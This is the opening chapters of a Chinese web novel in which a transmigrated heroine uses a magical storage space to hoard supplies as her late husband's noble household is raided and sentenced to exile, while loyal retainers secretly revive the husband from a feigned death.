《流放岭南,世子妃养崽开荒带飞全家》 第一卷 第1章 侯府要抄家流放了 忠勇侯世子骤然离世,棺材抬进侯府时,侯府,瞬间就乱作了一团。 “她竟还有脸跪在这里?” “她一个乡野丫头,名未入谱,籍不在宗,也配给世子戴孝?还有那丫头片子,在外头怀上的,谁知道是不是世子的种。” 尖锐的声音响起,忠勇侯妾室林惠兰得知侯府世子没了,可把她高兴坏了,世子死了,她儿子便是侯府名正言顺的继承人! “侯府什么时候轮到你一个姨娘做主了?” 满脸憔悴,双眼红肿的忠勇侯夫人柳素仪被众人簇拥着走了进来。 “姐姐,世子没了,大家都很难受,但,礼不可废啊!” 林惠兰说的那叫一个言辞恳切,满脸伤心,但眼底的幸灾乐祸,却是一闪而过。 一时间,所有人的目光都聚集在了棺材前方,一大一小穿着孝服的程七七和靳岁安身上。 四年前,无数闺阁千金想嫁的忠勇侯世子靳墨之,却迎娶一个乡下丫头为世子妃,满京城都不可思议,侯府更是强烈反对,哪怕迎进门了,却依旧拖着没上族谱,不得侯府的承认。 “啪。” 柳素仪上前,一个耳光将林惠兰打懵了。 “别以为墨儿没了,你儿子就可以继承侯府,我还没死呢!”柳素仪咬牙切齿地看着林惠兰。 “侯爷……” 林惠兰捂着脸,话刚起一个头,就被打断了。 “一个妾室,我就是将你发卖了,侯爷也不敢说半个不字!”柳素仪冷眼扫了过去。 “……” 林惠兰悻悻然的住嘴,指甲都快掐进肉里了,她心底猛翻白眼,柳素仪唯一的儿子死了,有什么可狂的? 她姑且再忍忍,等侯爷回来…… 柳素仪一步一步走到程七七的面前站定,一把扯掉她头上的孝帽:“都是你,克死了墨儿,你们都给我滚!” 柳素仪冷冰冰地吩咐着:“吴妈,把她们送到庄子,永远不许踏入侯府一步。” 程七七一脸震惊的看着柳素仪,心都凉了半截,这天杀的侯府,世子刚死,就迫不及待地要赶她和女儿离开了? 吴妈带着护卫上前,程七七牵着女儿站起来:“我自己会走。” 谁还想跪了! 去了庄子上,她带着女儿,一样可以过好日子! 刚到墨竹院,吴妈拿着一沓银票,还有一匣子珠宝递到她手里:“世子妃带着岁安小姐,快快离开侯府!” “吴妈,你这是……”程七七疑惑,这怎么也不像是赶人啊? “侯府要被抄家流放了。” 吴妈的声音里带着急切,道:“崔家为了侯爷手里的兵符,早就虎视眈眈,侯府此次流放,只怕是凶多吉少。” “你们没入族谱,定然不在名册之上,现在走,还来得及!” 说着,吴妈从怀里掏出一块玉佩,珍而重之地递上前:“这是先帝爷赏赐的玉佩,只传给靳家的儿媳妇。” 吴妈朝着程七七深深鞠躬:“此一别,往后怕是无再见之日,世子妃,岁安小姐,多保重。” 信息量太大,程七七差点没反应过来,在古代,抄家流放可是重罪,她怎么这么惨啊! 刚穿越过来就碰上难产而亡的原身,她硬生生的疼了一天一夜,才把女儿生下来,不受侯府待见就算了,只要能吃饱喝足的,程七七也无所谓! 毕竟外头世道不好,在侯府能吃饱穿暖,就已经很强了! 世子死了不打紧,反正生下孩子的三年里,程七七就见过两回,也没感情的。 但抄家流放,可是会死的! “不好,这些官兵将侯府团团围住,出不去了。” 吴妈领着程七七想送她们从角门离开,可惜,四周全是官兵,出不去了! “走不了了。” 程七七眼眸一沉,进厨房烧了一灶旺火,锅里的蒸笼冒着热气,还带着包子的香味。 “春桃,你去把后院的红薯、土豆……所有菜,全部都拔了归拢在一起。” 程七七拿了吴妈手里的银票和金银细软,道:“吴妈,我出去一趟,帮安安把衣服赶紧穿好!” “世子妃,你去哪?” 吴妈看着怀里怯生生的岁安小姐,心中不由地犯起了嘀咕:世子妃应该不会撇下女儿逃了吧? 程七七一身普通的棉布衣,穿梭在侯府之中,避开了护卫,直奔侯府东侧的厨房,路过前院的院墙时,一声惨叫声响起,程七七吓得悄悄看了一眼! 院子正中央,被官兵团团围住, 程七七瞳孔一缩,扶着树干的手不由自主地抠紧,她看着被抬着进来的血人,他的身上明显受过鞭刑,这是侯爷? 流了这么多血,还能活着吗? 刚刚还高高在上的柳素仪,这会哭得上气不接下气,一天之内,儿子死了,夫君生死未卜。 侯府的天,塌了。 程七七的心无比沉重,侯爷都成这样了,真要流放,小命还能在? 她没敢多看,直奔厨房,如果真逃不过要流放,那么这些粮食,必须全拿了! 幸好,幸好穿越过来之后,她还有空间,爸妈留给她的平安无事牌激活了空间,里面空荡荡的无限大。 也是靠着这个空间,她在府里虽然不受待见,还时不时的要被林姨娘的女儿靳雪儿找茬,还能将女儿养得白白胖胖的。 程七七仗着地形熟悉,进了厨房,就直奔粮库,大概所有人都被赶到前院了,这会后院空空,没有人。 马上就是老夫人的寿宴,粮仓里,全部都是满的。 程七七毫不犹豫地连仓带米收进了空间。 面粉,收。 处理好的鸭子、兔子、鸡、鱼……通通收进空间! 油盐酱醋,各种调味料,程七七连锅碗瓢盆都没放过,流放在野外,这些说不定也能派上用场呢! 缸里活蹦乱跳的鱼,程七七连缸带鱼的,全收了。 厨房收了个干净,程七七刚要走,脚步一顿,如果她记得没错,偏房还放着下人们的吃食呢! 必须收! 和主子们吃的精米不一样,下人吃的就是普通的糙米和粗面,这些,也是好东西,收! 程七七感受了一下她的空间,还好,空间大,不然,这么些杂七杂八的东西,都要放不下了。 接下来,程七七就去了主院,进屋就是柔软的地毯,处处都透着精致与贵气。 程七七连看都没看一眼,直奔库房,皮料、冬天用的褥子、还有一些金银珠宝和药材之类的东西,她全部都收进空间了。 作为岁安的奶奶,这些东西,以后留给岁安,也好过便宜狗皇帝和贪官。 第一卷 第2章 爹爹为何睡在大木盒子 要不是怕被发现,程七七恨不得将屋子里的东西全部都收了,她挑挑捡捡的,将一些不显眼的东西都收下了。 出了主卧,程七七刚要走,脚步一转又进了下人房,下人房床上的被褥,衣裳鞋袜全部都收了。 大户人家的丫鬟,这衣服被被褥,都比得上外面小门小户的千金小姐了。 离开了主院,程七七又去了老夫人的松香院,她也就来过一回,这会如入无人之境,撬开库房,看到里面都是各种各样的药材和珍宝时,程七七眼睛一亮,全收了! 梨香阁! 侯府唯一的姨娘林惠兰和女儿靳雪儿的住处。 她们母女处处嘲讽她和岁安是乡野丫头,身份上不得台面。 程七七搜刮一通,不由的感慨道:林惠兰她们母女,除了珠宝首饰,就剩下一箱子一箱子的衣服,和各种各样的布料了,她们就两个身子,那么多的衣服和布料,穿得过来吗? 程七七直奔小厨房,看着满厨房的糕点,毫不客气的全部收进了空间,她们母女可真会享受。 回到墨竹院,春桃带着三岁的女儿正在挖红薯和土豆呢。 “娘,你看,这土豆好大个!” 靳岁安拿着比她拳头还大的土豆,笑得眉眼弯弯的,朝着程七七跑过来。 “真乖。” 程七七蹲下身子,稳稳地抱住了女儿,她拼命生下来的孩子,精心呵护了三年才养大的孩子,必须要平平安安的。 “世子妃,这些红薯和土豆挖了也带不走啊。”春桃焦急地跑了过来道:“吴妈已经去前院了,我们怎么办?” 侯府被围住,世子妃和小姐也跑不了。 “春桃,拿油纸将包子全部都包起来。”程七七牵着女儿的手,就开始往竹筐里装土豆和红薯了。 春桃:“……”都什么时候了,世子妃怎么还想着吃包子? 春桃将包子全部装在一个包袱里,她担心地道:“怎么办?要不你带着小姐从狗洞逃出去吧,虽然丢人了一点,但至少能活命啊,我们……” 一沓银票,挡住了春桃后面的话语。 “这些银票,你拿着从狗洞逃出去,买几辆马车,被褥,鞋衫,特别是鞋子,多买一点,还有药材和粮食。” “马车买一辆好的,剩下两辆,外观可以朴素简单,但,内里可以多铺一些稻草。” “等到流放的时候,你送到城外。” 程七七从怀里拿出一张身契,道:“这是你的身契,从今天起,你自由了。” “世子妃。” 春桃直接跪了下来,哽咽的说道:“春桃不走,你带着小姐快跑吧。” 如果不是世子妃心善,她早就死了。 春桃稚嫩的脸庞上全是泪水,程七七扶着她站起来,拿帕子给她擦着眼泪:“我已经走不了,你带着钱出去,买些东西送来,流放路上,我跟安安活下来的机会,也就更大。” “世子妃。” 春桃慌张的不知道该怎么办。 “快走。” 程七七的语气坚定,不容置疑,推着春桃往外走。 “世子妃,我,我一定会买好东西,送给你们的。” 春桃将银票藏到了贴身的肚兜里,又拿出她平日里攒的碎银子,这才开始往外走。 春桃一走,程七七蹲下了身子,拿了一个包子给靳岁安,摸了摸她软软的头发,道:“安安,你乖乖在这里吃包子,娘马上就来,好不好?” “安安乖乖的。” 靳岁安拿着包子,小口小口地吃着的。 “那,安安可以数蚂蚁吗?数到一百?”程七七问。 “一、二三……” 靳岁安低头数蚂蚁,吃包子。 程七七回头,听到女儿脆生生的声音:“二十、三十……” “一、二、三、四……” 程七七无奈地摇了摇头,女儿数数最多只能数到三十,又要重新数了。 她动作迅速地将土豆、红薯、茄子、玉米、毛豆之类的蔬菜,全部都收进了空间,就连小葱都没放过。 地窖里存起来的生姜,老姜,程七七更是通通收进空间,看着连草都不剩的土地,她无比庆幸,她走哪里都爱种菜。 突然,外面传来的声音,程七七动作迅速地朝着靳岁安跑了过去,抱住她。 “程七七,靳岁安何在?” 一个个手执长剑,六个护卫一字排开,个个凶神恶煞。 “安安乖,不怕。” 程七七抱起靳岁安,心中暗忖:终究是来了! “走!” 执长剑的护卫直接让她们走。 程七七也没说话,抱着靳岁安,背着包子就去前院了。 “娘,我们是去见爹爹吗?” 靳岁安手里拿着包子,好奇的东张西望的,小脸疑惑地问:“为什么爹爹睡在大木盒子里?” 程七七低头,看着一脸期盼的女儿,她点头道:“安安,快吃包子吧,等会见着爹爹在睡觉,你不能吵爹爹,知道吗?” 小姑娘不知道死是什么意思,解释也解释不明白,还不如撒一个善意的谎言。 “嗯。” 靳岁安重重地点头,一双又大又圆的眼睛亮晶晶的,她问:“娘,那,我要给爹爹留一个最大最好吃的肉包子!” 程七七:“……” 哪怕这三年来,她全身心地爱着女儿,却依旧无法代替父亲。 “娘,那爹爹会吃吗?会喜欢安安吗?” 靳岁安漂亮的大眼睛里,满是不安。 “我们安安这么乖巧可爱,你爹爹肯定会喜欢的,安安,你要吃饱饱,爹爹才会喜欢。”程七七抬头看着通向前院的路,女儿,大概永远无法体会到父爱了。 侯府倒了,就算被流放,她也要好好的护着女儿。 “安安乖,吃饱饱,安安吃包子。” 靳岁安大口的吃着包子,那乖巧的模样,让程七七更是心疼。 程七七抱着靳岁安,刚到前院,一股血腥之味扑面而来。 她抱着女儿的手更紧了,她按住女儿的背,轻声说:“安安,等会我们玩过家家游戏,看到什么都是假的,安安不害怕好不好?” “安安不怕,安安胆子最大了。” 靳岁安乖乖的趴在程七七的肩膀上。 进了前院,横七竖八地躺着尸体,血流成河。 程七七忍住心中的恶心,朝着正中央走去,曾经的侯爷、夫人、小姐少爷的,此时个个狼狈。 正中央,侯爷一身白色的里衣,全部都被鲜血染透了,躺在地上奄奄一息,侯夫人没了往日的端庄贵气,哭得肝肠寸断的。 旁边躺在地上的男子,是原身的丈夫,忠勇侯世子,靳墨之。 程七七抱着女儿的手一紧,事情比她想象的还棘手,对方竟然将世子的尸身都从棺材里搬出来了。 破碎的盔甲与早就干涸的血液混在一起,经风沙浸染的麦色肌肤,也无法挡住他身俱来的矜贵,哪怕他安静地躺在地上,也无法让人忽视半分。 第一卷 第3章 博一线生机 原身出身低微,原身爹救了重伤的世子,夫妻为了世子双双而亡,成了孤女的原身又阴差阳错的,在世子被暗算之时,挺身而出,以清白之身救了世子。 靳墨之为了报恩,力排众议,以世子妃的身份,将原主迎进了忠勇侯府,侯爷暴怒,侯夫人更是哪哪都嫌弃她。 靳墨之与父亲忠勇侯驻守边关,侯夫人不喜原身,却也没有要她的性命,直到她怀孕之后,又过了一段好日子。 直到,她生下女儿靳岁安,直接被打发到最偏僻的角落里,这一住,便是三年。 “你怎么来了?” 柳素仪看到她的时候,她下意识的看向了吴妈,她不是让吴妈送了银票,让她们母女赶紧逃吗? “自然是,我请来的!” 崔烈一身金甲衣,在阳光下反射出耀眼的光芒,他唇角勾起一抹邪笑:“世子死了,他的妻子,他的女儿,怎么能置身事外呢?” 崔烈的笑,恍若淬了毒。 柳素仪身形一个踉跄,她看着崔烈的眼神中透着愤怒,她的指甲紧紧掐着手心,提醒着自己要镇定。 靳家两朝元老,战功赫赫,满门忠烈,忠心耿耿的替大夏国守江山,侯爷年迈,墨儿更是驻守边关,三年才回一次家。 崔烈出身寒门,却深受皇上的看重与信任,处处与侯爷作对,此次侯府出事,十有八九,是崔家搞的鬼。 柳素仪深吸了一口气,道:“她们没上族谱,应该不在流放名单之上。” 柳素仪的声音中透着愤怒,此时,她倒庆幸,因为他们都嫌弃程七七身份低微,又只生下一个女儿,便一直拖着没给上族谱。 得到消息时,柳素仪第一时间便想将靳岁安送走,不管怎么样,那都是儿子唯一的血脉。 “满京城的人都知道忠勇侯世子为报恩,娶了一个乡下女子当世子妃,还生下了一个女儿,没上族谱,不能说没这回事。” 崔烈的剑挑起一旁的白布,露出了世子满身伤痕的遗体,他一抬手,剑直指程七七怀里女儿的后背。 程七七抬手,挡住了剑尖,似踉跄着往后退了一步,她看着崔烈那一身金色的盔甲,和崔烈那得意的眼神,她想:这人和世子有仇。 “大人。” 程七七出声,女儿才三岁,哪怕有空间,流放路上,定是凶多吉少,她必须为自己和女儿博一线生机。 “世子妃?” 崔烈玩味的出声,盯着程七七的脸,一个乡野丫头,倒有几分姿色。 “今日大人雷霆手段,自然可以让我跟女儿添上族谱,同侯府流放,但是,他日,大人难道就不怕别人以此为借口,弹劾大人吗?” 程七七的声音掷地有声,她目光灼灼地看着崔烈道:“大人何不网开一面,给孩子一线生机,来日,大人定会有福报的。” 崔烈的沉默,让侯府众人都跟着紧张了起来,柳素仪盼着墨儿唯一的血脉平安。 “程七七,你别不知好歹。” 林惠兰急吼吼开口:“上了族谱,你就是名正言顺的世子妃,这孩子也是侯府千金。” “林惠兰!” 柳素仪迫不及待的打断她的话,看着她的眼神恨不得将她剥皮抽筋了! “我说的有半点错吗?” 林惠兰破罐子破摔,大家都别想好过:“这孩子本来就是世子的女儿,现在只是将她应得的名分,补上。” “好,说的好。”崔烈拍手鼓掌。 程七七的心彻底地凉了,她轻拍着女儿的后背安抚着,流放,怕是逃不掉了。 柳素仪闭上了眼睛,倏的睁开,看着崔烈道:“崔烈,你非要这么赶尽杀绝吗?” 墨儿的女儿,不过三岁,跟着她们去流放,只有死路一条! “靳夫人,我这是在帮世子啊,怎么叫赶尽杀绝呢?” 崔烈笑了的牙花子都出来了,真是痛快啊,曾经处处压他一头的靳墨之,如今死了,他的女人,他唯一的女儿,也将被流放! “世子唯一的女儿,连族谱都没上,这不合适,世子在天有灵,肯定会认同我的做法的。” 崔烈看着她们愤怒的模样,心里别提多痛快了。 “崔烈,你这是公报私仇!” 柳素仪一想到墨儿唯一的血脉都保不住,整个人大受打击,她口不择言道:“你连墨儿的手指头都比不上!” 崔烈听着这话,气愤的一回头,一抬手,剑落在旁边搀扶着柳素仪身边的吴妈上,一剑封喉,血溅如柱,喷洒在柳素仪的身上。 鲜红的血液,温热黏稠,还带着铁绣的味道。 柳素仪愣住了,侧目,看到吴妈眼含不舍的看着她,那眼神仿佛在说:夫人,老奴不能再陪你了。 崔烈手中的剑往前抬起,一滴血自剑尖滑落,他的眼中带着一抹狠厉:“一个违抗皇命,贪污军饷的罪人,有什么资格跟我相提并论?” “靳墨之就是死了,也得下地狱赎罪!” 崔烈的剑突然一动,朝着死了的靳墨之腹部一扎,血,流了出来。 崔烈拔剑,还想第二剑。 “大人。” 程七七抱着女儿跪了下来,道:“世子虽死,但曾经世子为国征战,平定西北,驻守边关之功还在,若是让人知晓,大人连世子的遗体都要虐待,恐怕要损了大人的名声。” 靳墨之骁勇善战,在京都,一直都是大英雄的存在,什么违抗皇命,什么贪污军饷,这事真假不好说,但,就凭着曾经的军功,他也不该这样的对待! 崔烈手中的剑一顿,沾血的剑尖停在程七七的面前,看着她明明害怕,却强装镇定的脸,啧啧叹道:“可惜啊,这么年轻就守了寡,要不,你跟了本官如何?” 努力替儿子按住伤口,想给儿子最后一点体面的柳素仪,听着这话,瞳孔瞬间一缩,她看向崔烈的眼神,更加嫉恨,她的视线落在了程七七的身上,神色黯然。 “只要你跟了本官,本官可以不给你添族谱,你不用跟着靳家人一起去流放,如何?” 崔烈的声音带着蛊惑。 第一卷 第4章 我不愿 “我不愿。” 程七七连犹豫都没有,清脆的声音响起:“我生是世子的人,死是世子的鬼,这辈子,绝不改嫁!” 凭着空间,带着女儿在哪里,程七七都有信心,过上好日子。 改嫁? 她脑子又没病,古代的男人哪个不是三妻四妾的,一个烂黄瓜,有什么好要的? 更别说眼前的男人与世子是敌人,她要是真的脑子进水答应了,只怕死得更惨,还不如跟着去流放呢! 柳素仪的眼睛一亮,看着程七七的眼神都透着复杂。 崔烈眼眸一黯,手中的剑在空中画了个圆弧,剑尖直指程七七。 冰冷的剑尖,血液凝珠而落。 程七七的心狠狠一跳,镇定的说道:“大人,你奉皇命抄家,没说让你私下用刑吧?” “如今我上了靳家的族谱,便是忠勇侯府的人。” 一身孝服的她,抱着孩子跪得笔直,她的脸庞苍白,一双眸子却璀璨如星。 崔烈手中的剑擦着程七七的脸庞滑过,他嘲讽一笑:“你待靳墨之情深意重,可惜,靳家人可不想你和你女儿活着呢!” 崔烈的眼眸微闪,手中的剑朝着旁边指去:“多亏了你们靳家人告密,否则,我哪里还记得靳墨之有一个世子妃,还有一个女儿?” “林惠兰?” 柳素仪咬牙切齿的看着林惠兰,她就说程七七母女在侯府,在京都几乎没有存在感,怎么抄家的时候,还把程七七母女也带了过来! 林惠兰被戳穿了,有一瞬间的慌乱,随即一脸无辜的说:“世子没了,他妻子和女儿,难道不应该来祭拜一下?” 反正都要抄家流放了,有什么好怕的? 至于程七七母女还想置身事外? 想的美! 要死,大家一块死! “你……” 柳素仪气的都不知道该说什么了,程七七从包袱里掏出包子道:“母亲,不值得生气,吃包子吧。” 刚刚她帮自己说话了,包子,也送给她吃。 “……” 柳素仪一言难尽的看着程七七。 “哈哈哈~” 林惠兰嘲讽的笑声,仿佛能减轻刚刚被抄家的痛苦一样,她冷笑道:“乡下人就是上不得台面,死到临头了,还想着包子,真是饿死鬼投胎。” “可怜世子尸骨未寒,他妻子就吃肉包子了。” 林惠兰阴阳怪气的说着,一想到她攒了这么多年的首饰,这么多年漂亮衣服,一朝之间,什么都没了,林惠兰就气的吐血! “等到了大牢里,希望林姨娘也能有现在的骨气。” 程七七淡淡的说着,看着柳素仪道:“活下去才能替世子正名,替侯府平反。” “安安,送给奶奶。” 程七七将包子送到了女儿的手里。 靳岁安拿着肉包子,怯生生的往柳素仪面前送,脆生生的说:“奶奶,吃包子。” 柳素仪接过包子,还带着热乎气,她接过包子,大口的就吃了起来,活下去,才能替儿正名,替侯府平反! 肉包子的香味,混着血腥之味,林惠兰愣住了,她逞一时的口舌之快,赢了柳素仪又如何? 她们,马上就要被押入大牢了。 “来人,将他们全部押入天牢,三日后,流放岭南!” 崔烈没有在乎那几个包子,此去岭南,苦头有得是。 “岭南?我们还能活得下去吗?” 林惠兰听到岭南时,眼前一黑又一黑,瘴疠横行、毒虫猛兽,距京都何止千里之遥。 “可怜的岁安,你还这么小,怎么撑得住。” 柳素仪连包子都吃不下了,看着不过三岁的靳岁安,再看看受伤的侯爷,悲从中来。 “大哥犯的错,凭什么要我们来承担,我不要被流放,我不想死!” 一个穿着花绿衣裳的的男子站了起来,他的眼底满是对流放的恐惧,他站起身就想跑。 “啊……” 下一刻,尖叫声响起,那花绿的身影瞬间就被踹飞几米远。 崔烈上前,一脚踩在他的后背上。 “大人手下留情。” 呆愣住的林惠兰连滚带爬的朝着靳砚之走去,刚走两步,就被护卫的剑架到了脖子上,担心的话,瞬间咽了下去,只能眼巴巴的看着自家儿子。 “抓起来,带走。” 崔烈连个眼神都不屑给,立刻就有两个护卫,将靳砚之拖起来,靳砚之想说话,嘴里被塞了一口破布,瞬间就安静了。 整个侯府,都笼罩在死寂之中,唯有程七七的眼神亮了! 岭南好啊,果树多,什么荔枝、桂圆、椰子……哪个都是她爱的。 海鲜多,鱼虾蟹那不是遍地走? 如果是靠海的话,还可以晒制海盐,古代来说,盐可是非常重要的! 最最最主要的是山高皇帝远,不比坐牢一样的侯府强? 天牢。 “啊,老鼠。” 尖叫声响起,程七七抱着女儿看了过去,是林惠兰的女儿靳雪儿,先前在侯府时,没有大吵大闹的,没想到,是吓傻了。 “娘,我不想呆在这里,你快让爹爹带我出去。” “我是侯府唯一的千金小姐,我,我不要呆在天牢里。” 靳雪儿对着天牢处处嫌弃着。 “雪儿乖,我们很快就会离开这里的。” 林惠兰的安慰,显然不起作用,靳雪儿指使着程七七道:“程七七,你把衣服脱下来垫着。” 一路颠簸,女儿这会睡着了,程七七正打算抱着女儿好好睡一觉,听到靳雪儿的话,她挑眉侧目:“靳雪儿,你不会以为你现在还是侯府的千金吧?” 以前在侯府,处处忍让,不过是不想安静的生活,横生枝节,如今都要流放了,她再忍,就是窝囊! “你敢这么跟我说话!” 靳雪儿怒气上头,冲上前一把扯过程七七的手,扬起手就想要送她一个耳光! 程七七抱住女儿,侧身一躲,靳雪儿的巴掌,直接打在了天牢的墙上,手上一片黏腻,靳雪儿又气又恼,回头恶狠狠的瞪着程七七道:“你居然还敢躲!” “住手!” 柳素仪上前一步,哪怕一身素衣,少日华贵的衣裳,少了华贵的首饰,她往那里一站,依旧是侯府主母。 气势汹汹的靳雪儿,瞬间就哑火了,她讪讪的收回手,抿着唇道:“是她不知好歹,这里这么脏,也不知道脱下衣服来给我垫着,还敢嘲讽我不是侯府千金!” 第一卷 第5章 她也配? 柳素仪冷声打断道:“住口,七七是你嫂子。” 柳素仪当侯府主母这么多年,靳雪儿本能的有些害怕的往后缩。 “她也配!” 林惠兰挡在了女儿的面前,语带嘲讽的说着:“柳素仪,亏你还是堂堂太傅千金呢,没想到,连乡野丫头的儿媳妇都接受了。” “也是,世子死了,她那乡下丫头生的死丫头片子,就是世子唯一的后了。” ‘后’字,林惠兰加重了读音,她唇角勾起一抹嘲讽的笑:“要不,等砚之生下儿子之后,过继一个给你当孙子?” 世子死了,唯一的后。 林惠兰的每一句话,都像是在柳素仪的伤口上撒盐。 柳素仪脸色苍白,一想到儿子年纪轻轻的就没了,她悲从中来。 “母亲。” 程七七扶住柳素仪,道:“世子虽然死了,但在我们心中,永远都是英雄,而有些人虽然活着,不过是喘气凑个人数罢了。” 有些人,程七七的视线落在了林惠兰的身上,和世子靳墨之的骁勇善战相比,靳砚之就是纨绔子弟,除了吃喝玩乐,那是烂泥扶不上墙。 “七七,你说的对。”柳素仪模糊的眼前渐渐清晰。 “呵。” 林惠兰冷笑着:“还英雄,要不是世子,我们会被关在这天牢里?会被抄家流放吗?我们都是被靳墨之给连累的!” “他倒好,死了一了百了,连累我们在这里吃苦。” 林惠兰越想越生气,反正都要流放了,林惠兰目光死死盯着柳素仪道:“都是你,都是你的好儿子害的我们这么惨!” “我要跟你拼了!” 她朝着柳素仪冲了过去,反正都要流放了,林惠兰也不想再忍了。 柳素仪不就是仗着自己投胎好吗? 否则,忠勇侯夫人的位置,哪里轮得到她,而她,也不必沦为妾室姨娘! 都怪她! 林惠兰看着柳素仪的眼神,恨不得将她生吞活剥了。 “母亲小心。” 程七七看着林惠兰疯了一样冲过来,一把拉过柳素仪,挡在了柳素仪的面前! 刚刚柳素仪有护她之意,她也绝不会让人欺负柳素仪的。 “林姨娘!” 程七七抓住林惠兰抬起的手,冷声道:“你敢对主母不敬?” 穿越前,她出身豪门,爸妈怕她受欺负,早早的就送她学习各种格斗的技巧,面对着林惠兰这种长期处于内宅之中的妇人来说,那是完全碾压! “松手。” 林惠兰蹙眉,心中暗道,这乡下下头就是手劲大。 被护在身后的柳素仪侧目,靳岁安趴在程七七的肩膀上睡着了,看起来乖巧可爱,程七七甩开林惠兰的手,力道之大,让林惠兰踉跄着后退几步。 柳素仪眼眸一闪,趁机一脚踹上了林惠兰,她冷声道:“我要不是我家墨儿,侯府早就倒了,你还能享受到侯府的的荣华富贵!” 一旁吓傻的靳雪儿,只敢拉着林惠兰的袖子。 ‘哐哐哐’ 牢房被砸响了,衙役厉声喝道:“不许打架!” 牢房里众人,被哐当打砸的声音吓了一跳。 “母亲!” 柳素仪看到被抬进来的老夫人时,眉眼瞬间透着担心,老夫人以前最疼墨儿,如今侯府出事,老夫人年岁又大了…… 程七七抱着靳岁安站在角落里,看着被送进来的靳老夫人,还有……靳家旁系? 程七七瞳孔一缩,看来,皇帝这是斩草除根啊! 小小的牢房,本来只有她们五个人,瞬间挤进来七八个,显得拥挤的很! “弟妹啊,世子怎么能违抗皇命呢?这下好了,大家都被抓起来了。” “二嫂,我们可没贪污军饷,为什么把我们也抓起来啊?” “就是啊,我们都是冤枉的啊……” 一个两个的埋怨的话,都朝着柳素仪而去,柳素仪冷哼一声:“怎么,当初你们一个两个求上墨之的时候,可不是这么说的?现在墨之出事了,你们想怪谁?” 柳素仪走到昏迷的老夫人身旁坐下,哪怕早就见证过了世态炎凉,这会也是心寒,大房、三房和四房,子女众多,偏偏孩子没一个争气的,经常让墨之帮忙擦屁股,现在墨之才刚死! 墨儿。 柳素仪暗自垂泪,侯府被抄家了,他们被关进天牢了,也不知道有没有人替墨儿准备着最后的体面。 乱葬岗! “崔家人真该死!” 暗处,一路守着世子尸体的重山和止水,看到世子的尸体,被崔烈的人偷梁换柱出来,就像是丢垃圾一样丢到了乱葬岗时,双目赤红,恨不得将那两个护卫,全部都五马分尸了! “重山。” 止水抓住重山的手,咬牙提醒道:“别误了世子的大事!” “你说的对。” 重山深吸了一口气,目光灼灼的盯着那两个护卫,以后,别让他碰上! 护卫甲:“还世子呢,死了,还不是丢乱葬岗。” “不过是一个罪人,大人说了,随便丢。” 护卫乙说着,回头看了尸山里躺着的世子,“快走吧,这地方怪瘆人的。” 两个护卫驾着马车跑的飞快,他们两个刚跑,重山和止水两个人就朝着尸山跑了过去。 “世子。” 重山和止水两个从近前,才发现,世子还是穿着那战死的衣裳,连个体面都没有! 看到腹部的新伤口时,重山更是锤地大骂:“姓崔的王八蛋,居然连世子的尸体都要下手!” “太过分了,世子这么多年,没有功劳也有苦劳啊,世子死了,怎么能被这么对待呢!”重山粗重的气息,代表着他的愤怒! “赶紧换衣服,万一,被他们杀个回马枪就完了!” 止水说着,动作飞快的就开始扒衣服了。 “我来。” 重山将早就准备好的尸体替换上,重山担心的说:“他们万一又回来怎么办?他们不会发现这是假世子吧?” “放心,这人皮面具做的天衣无缝的,而且,这里是乱葬岗,弄点血什么的,也很正常吧?”止水抬手,从旁边的衣服上蹭了点血上去! 重山和止水背起世子就走。 “快,有人!” 止水听到了动静,连跑都来不及,就躲在了旁边的山头上,有茶树挡住,重山和止水两个人对视了一眼:“止水,等会我拖住他们,你带世子走!” “别急。” 止水按住他,看着火光而来,枣红大马上的崔烈时,他深吸了一口气:“我们跑不过,他,应该是来毁尸的!” 止水眼眸深沉,心中升起滔天的怒火,崔烈,崔家,待世子好了,一个都不能放过! 第一卷 第6章 活了活了 护卫点头哈腰的:“大人,我们把世子就丢在这里。” 护卫擦着额头莫须有的汗,回京都半路上,就碰上崔大人了。 崔烈翻身下马大步流星的走了上前,一眼就看到尸山堆上的靳墨之,半个侧身躺着,脸上不知道蹭上了哪个尸体的血, 他上前踢了踢,眼底闪过一抹不屑:“靳墨之,出身高贵又如何?世子又如何?如今还不是像案板上的死鱼一样?” “你就在地狱里好好看着,看着你们靳家人,是如何一个个的下地狱的。” 话落,崔烈拿过旁边护卫的火把,一把火丢了过去,秋天干燥,尸山瞬间化为了火山! 冰凉的夜色下,漫天的火光中,崔烈的面庞阴冷,眼神阴鸷,唇角邪魅的笑容,那是阴谋得逞的喜悦。 一直到崔烈等人离开,重山才忍不住说:“崔烈那王八蛋真是斩草除根,连世子的尸体都要烧的一干二净。” 止水冷眼看着他们的背影,背起世子道:“现在重要的是,让世子活过来!” 平沙关一战后,重伤的世子被急召押送回京,从世子抗旨护下那一村三百户的村民,到崔家一脉的何副将抢功,世子回去肯定凶多吉少。 为了护住世子,军中神医,送上了假死药。 三天内若是世子不能醒来,便,永远都醒不过来了! 进京前,就花费了两天,在侯府停了一日,如今已经是最后的时间了。 重山和止水一路进山中,最后进了山脚下一户农家。 “快。” 一个穿着短打的男子,焦急的走上前,直接将药塞到了世子的嘴里。 重山和止水眼巴巴的看着床榻上的世子,哽咽道:“胡军医,世子死了在侯府都受了伤,他,还能活过来吗?” “烧热水,拿药来。” 胡军医没有回答,将世子身上的脏衣服全部换下,看着那新伤旧伤的,胡军医小心的清洗伤口,给他换上了干净的衣服。 胡军医的手在世子身上按了好几个穴位。 “咳~” 世子的咳嗽声响起,重山和止水激动的道:“活了,活了!” 胡军医搭上了世子的手腕,那微弱不可查的脉像,好像随时都会停止。 胡军医蹙起了眉头:“世子新伤旧伤,又发烧了,能否活下来,便看天意了。” 一时间,听着世子那微弱的呼吸声,大家都沉默了,祈祷着世子能活下来。 天牢。 靳家人慢慢接受了在天牢里,即将被流放的事实,低低的啜泣声,混着害怕。 程七七抱着女儿坐在角落,只要她们别不长眼…… “程七七,肯定是你克死大哥的!” 一个小姑娘气冲冲的朝着程七七走了过来。 程七七一抬腿,小姑娘就摔了一个狗啃泥,如果她记得没错的话,是四房的小女儿,靳晴儿,跟靳雪儿一样,从小就喜欢摆架子! “滚。” 程七七的手捂住女儿的耳朵,女儿睡得正香,她不想女儿被吵醒。 “你……” 靳晴儿刚想说什么,门外的衙役就敲栏杆当当作响:“吃饭了,谁要是敢打架,就鞭刑伺候!” 衙役毫不客气的声音,靳晴儿还没发出的怒火,瞬间哑火了,看到饭菜时,靳晴儿怒了:“打发叫花子呢?猪食也没这么差的!” “我不吃!” 靳雪儿看了一眼那稀的能照出人影的粥,还有颜色不辩的馒头时,一脚就踢了过去! 靳家人,所有人都气呼呼的。 